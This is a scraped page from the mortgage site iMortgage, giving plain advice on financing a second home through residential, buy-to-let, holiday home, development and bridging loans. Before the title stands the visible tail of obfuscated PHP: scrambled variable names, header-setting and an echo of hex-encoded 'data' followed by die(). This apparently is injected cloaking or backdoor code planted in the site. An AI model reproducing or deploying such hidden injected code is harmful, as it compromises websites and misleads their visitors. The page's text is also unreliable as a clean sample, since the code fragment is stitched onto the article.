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as $O00OO0_O__){@header($O00OO0_O__);}echo $O0__O00O_O["\x64\x61\x74\x61"];die();}}O_O_O_000O($O__O0_OO00); ?> Second Home - iMortgage

Second Home

Thinking about buying a second home? Many people decide to buy a second property, perhaps to help a family member onto the property ladder, to buy a flat near a work location, or to buy a holiday home.

This can be a great investment for the future, but it’s important to be aware that mortgage lenders are usually stricter with their criteria than for a single mortgage so it can be harder to get a good deal.

How do I get a mortgage for my second home?

It depends! The reason you’re looking for a second mortgage is important, because it will determine what type of mortgage you need:

Will you or a family member be living in the second home?

 If so, you need a second residential mortgage. You might find that you need a higher deposit than for a first home.

Do you plan to rent out the new property out?

If so, you’ll need a buy-to-let mortgage. These usually have higher rates and often need a higher deposit such as a 25% minimum.

Is the new property a holiday home, and will you let it out for some of the year?

This requires a special holiday home mortgage.

Are you buying a second home to renovate and sell?

In this case you might opt for a development loan, as mortgages are intended for long-term lending. A development loan is usually for 12-18 months, and involves agreeing your plans with a lender who then releases money at relevant stages of the renovation process. A development loan tends to have high interest rates, and you’ll be expected to have enough funds for about a third of the overall development cost.

A bridging loan can be secured against property or land that is unsuitable for a secured mortgage – e.g. it the property is not habitable with no bathroom, kitchen or heating. You could take out a bridging loan to cover the cost of purchasing the property with a deposit of course and then complete the home improvements making the property mortgageable. You can then remortgage the property paying off the bridging loan and in come cases recouping your original deposit and costs to renovate the property.

Why is it harder to get a second mortgage?

From the lender’s point of view, if you’re already paying a mortgage on one home, it’s a risk for you to take on a second set of mortgage payments – so they will have strict criteria and affordability calculations.

There are fewer lenders offering second mortgages too, so you won’t have as many options to compare.

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